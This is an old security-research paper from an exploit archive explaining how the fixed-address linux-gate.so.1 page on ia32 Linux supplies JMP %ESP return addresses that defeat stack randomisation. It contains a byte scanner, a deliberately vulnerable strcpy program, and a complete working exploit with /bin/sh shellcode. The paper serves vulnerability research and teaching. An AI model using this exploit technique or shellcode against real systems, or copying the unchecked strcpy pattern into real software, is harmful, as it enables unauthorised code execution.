Exploiting with linux-gate.so.1

EDB-ID:

13187

Author:

izik

Type:

papers

Platform:

Multiple

Published:

2006-04-17

(originally published on NewOrder Newsletter, #13)

---[ Exploiting with linux-gate.so.1 . by Izik  <izik@tty64.org> ]

Introduction
------------

Recruiting linux-gate.so.1 to support a buffer overflow exploit might not 
make a lot of sense at first. But by understanding the way linux-gate.so.1 
is currently being implemented, both in it's origin and the code it may 
contain, will hopefully shine a new light on it. This article explains 
what
linux-gate.so.1 is and how it can be useful for exploits out there to 
overcome some protections, and make life a little easier in the insane 
world of return addresses and targets.

Synchronizing
-------------

The examples below have been tested on a Linux box with kernel 2.6.14 and 
compiled using gcc 3.4.5

What is linux-gate.so.1?
------------------------

linux-gate.so.1 doesn't sound so evil, just another dynamically loaded 
library, right? Not quite. This is not a dynamically loaded library but a 
dynamically shared object (DSO). It's life purpose is to speed up and 
support system calls and signal/sigreturn for the kernel within the user 
application. In particular it helps out handling a situation where a 
system
call accepts six parameters. This is when the EBP register has to be 
overwritten and serve as the 6th parameter to the system call. Notice that
this ties the usage and need of linux-gate.so.1 to only linux kernels that 
are running under ia32 and ia32-64 architectures.

There are two interesting facts about linux-gate.so.1, which make this DSO 
a little more special, which are where this DSO comes from, and how it 
gets
loaded to do its job.

Trying to look for the linux-gate.so.1 file would be to no avail. That is 
because it is not a real file. Although it appears within the ldd output 
with the rest of the real librariesm, there is no file that is called 
linux-gate.so.1 on the filesystem. And in fact there should never be one. 
Because the origin of this DSO is not a file but rather a piece of the 
kernel. This DSO comes straight from the kernel.

From the kernel's perspective, having this DSO with code that has such a 
significant meaning, requires that it is loaded and mapped within every 
process. That lead into having a patchy way to get it into the process 
space. The result is that it's done mapping it, but it is doing so outside
of the normal loop and as a result, the linux-gate.so.1 is getting mapped 
at a fixed address range within every process.

Let's put this theory to a test and activate the VA patch, which amongst 
other things also randomize mmap():

--- snip snip ---

root@magicbox:~# echo 1 > /proc/sys/kernel/randomize_va_space
root@magicbox:~# ldd /bin/ls ; ldd /bin/ls
        linux-gate.so.1 =>  (0xffffe000)
        librt.so.1 => /lib/tls/librt.so.1 (0xb7fce000)
        libc.so.6 => /lib/tls/libc.so.6 (0xb7e9e000)
        libpthread.so.0 => /lib/tls/libpthread.so.0 (0xb7e8c000)
        /lib/ld-linux.so.2 (0xb7fe2000)
        linux-gate.so.1 =>  (0xffffe000)
        librt.so.1 => /lib/tls/librt.so.1 (0xb7ee5000)
        libc.so.6 => /lib/tls/libc.so.6 (0xb7db5000)
        libpthread.so.0 => /lib/tls/libpthread.so.0 (0xb7da3000)
        /lib/ld-linux.so.2 (0xb7ef9000)
root@magicbox:~#

--- snip snip ---

The patchy integration of linux-gate.so.1 into the process seems to be 
patchy enough to skip over the VA patch effect. Notice how the ldd ouptut 
shows that libc.so.6 and the rest of the real libraries map changes due to 
the VA patch. But the linux-gate.so.1 mapping stays the same all this 
time.
Woopsie? ;-)

But still, these features themselves are only making linux-gate.so.1 a 
target for attacks. The real vulnerability, so to speak, in 
linux-gate.so.1 
is it's code. If you twist the code a bit, you can find some surprising 
things in there.

Going RET2ESP
-------------

Return to ESP is a useful method to replace return addresses by creating 
return addresses from an already existing code. Code such as the 
application .text section, or by any other executable mapped sections. The 
idea is to have code that transfers the program control to the ESP 
register. In this situation an exploit can use it as a return address 
instead of an absolute return address to the shellcode.

Two obvious instructions that cut it, are 'JMP %ESP' and 'CALL %ESP' which
are ideal for exploits. As in most buffer overflow exploits, the shellcode 
is on the stack. These instructions would jump or call it and get it 
executed. Just as if it was a case of using an absolute stack address for 
a
return address.

Not using an absolute stack address as a return address in the exploit 
gives the chance to kick some stack protections, to name one - VA. As by 
now, randomizing the stack addresses like the VA does, will have no effect 
on the exploiting process. 

However, the major disadvantage in using this method, is the need to have 
a
code that includes these instructions. A sane compiler won't generate 
these 
instructions so easily. But by twisting the code a little bit using 
offsets, it is possible to find the byte sequences of these instructions 
someplace else. 

CPU instructions are after all just given byte sequences that have a 
meaning for the CPU. The variety of bytes in a code, for instructions like 
'MOV' and 'PUSH', just to name a few, give us the chance to find the 
wanted
byte sequences in them. Then by doing an offset jump into the beginning of 
the sequence, will make the CPU react as if it was a regular attended 
instruction. 

Getting dirty
-------------

Having a goal in mind to find 'JMP %ESP' or 'CALL %ESP', and an 
exceptional
DSO to twist - It's time do dig in!

--- snip snip ---

/*
 * got_jmpesp.c, scanning for JMP %ESP
 * - izik@tty64.org
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
	int i, jmps;
	char *ptr = (char *) 0xffffe000;

	jmps = 0;

	for (i = 0; i < 4095; i++) {

		if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') {

			printf("* 0x%08x : jmp *%%esp\n", ptr+i);
			jmps++;
		}
	}

	if (!jmps) {

		printf("* No JMP %%ESP were found\n");
	}

	return 1;
}

--- snip snip ---

The above code is a very simple byte sequence scanner. It scans the DSO 
within a page range and starts from the address 0xffffe000. The goal of 
the
search is to find the sequence 'FFE4' which is equal to 'JMP %ESP'

--- snip snip ---

root@magicbox:/tmp# ./got_jmpesp
* 0xffffe777 : jmp *%esp
root@magicbox:/tmp#

--- snip snip ---

Wee, without much efford an address pops out. It should be noted that this 
means, that there is a 50/50 chance of finding a vulnerability. Either 
'JMP *%ESP' can be found, or not. The factors of finding a 'JMP %ESP' 
['FFE4'] in a given linux-gate.so.1 that we have to consider, are mostly 
the kernel version, the compiler and the flags that have been used to 
compile the kernel. Which means that the same kernel versions with more or
less standard flags and a standard compiler on a different machine will 
potentially give the same address as the result.

Should we get a positive result, it will continue to work, even if the the 
machine would get rebooted for example. And every running process on the 
machine will have this value, in that address. So an exploit that will 
exploit a buffer overflow vulnerability can use it as a return address, 
both for remote and local attacks. 

Working methodologically
------------------------

It doesn't take much to implement a scanner functionality in an exploit. A 
dummy vulnerability and exploit will be used to demonstrate this. The 
scanner is only good for local exploits, but by gathering results from 
scanning different kernel versions and different linux-gate.so.1's it is 
possible to compile a list of return addresses which can be used within a 
remote exploit. 

--- snip snip ---

/*
 * va-vuln-poc.c, Dummy strcpy()/buffer overflow vulnerability
 * - izik@tty64.org
 */

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
	char buf[256];
	strcpy(buf, argv[1]);
	return 1;
}

--- snip snip ---

This is a very simple 'n classical buffer overflow. Picking the absolute 
return address approach. By debugging it the location of the shellcode on 
the stack can be discovered, which then can be used as the return address. 
But a combination of RET2ESP and linux-gate.so.1 is much easier and more 
automated. 

--- snip snip ---

/*
 * va-exploit-poc.c, Exploiting va-vuln-poc.c 
 * under VA patch (Proof of Concept!)
 * - izik@tty64.org
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] = 
	"\x6a\x0b"              // push $0xb 
	"\x58"                  // pop %eax 
	"\x99"                  // cltd 
	"\x52"                  // push %edx 
	"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
	"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80";             // int $0x80 

unsigned long find_esp(void) {
        int i;
        char *ptr = (char *) 0xffffe000;

        for (i = 0; i < 4095; i++) {

                if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') {
			printf("* Found JMP %%ESP @ 0x%08x\n", ptr+i);
			return (unsigned long) ptr+i;
                }
        }

	return 0;
}

int main(int argc, char **argv) {
	char evilbuf[295];
	char *evilargs[] = { "./va-vuln-poc", evilbuf , NULL };
	unsigned long retaddr;

	retaddr = find_esp();

	if (!retaddr) {
		printf("* No JMP %%ESP in this kernel!\n");
		return -1;
	}

	memset(evilbuf, 0x41, sizeof(evilbuf));

	memcpy(evilbuf+268, &retaddr, sizeof(long));

	memcpy(evilbuf+272, shellcode, sizeof(shellcode));

	execve("./va-vuln-poc", evilargs, NULL);

	return 1;
}

--- snip snip ---

Doing so reveals the location of the shellcode on the stack, and it can 
then be used as return address. 

Prior to attacking, the exlpoit calls the 'find_esp()' function to scan the
current linux-gate.so.1 and return an address if it found one. The address 
will contain the 'JMP %ESP' instruction and be used as the return address. 
Since this is a global test (per kernel) it can be safely assumed that if 
the exploit finds it, it would apply on the target program.

--- snip snip ---

root@magicbox:/tmp# gcc -o va-vuln-poc va-vuln-poc.c
root@magicbox:/tmp# gcc -o va-exploit-poc va-exploit-poc.c
root@magicbox:/tmp# ./va-exploit-poc
* Found JMP %ESP @ 0xffffe777
sh-3.00#

--- snip snip ---

And that's all there is to it.

References
----------------

What is linux-gate.so.1?
http://www.trilithium.com/johan/2005/08/linux-gate/

Linus Torvalds is a disgusting pig and proud of it.
http://lkml.org/lkml/2002/12/18/218

# milw0rm.com [2006-04-17]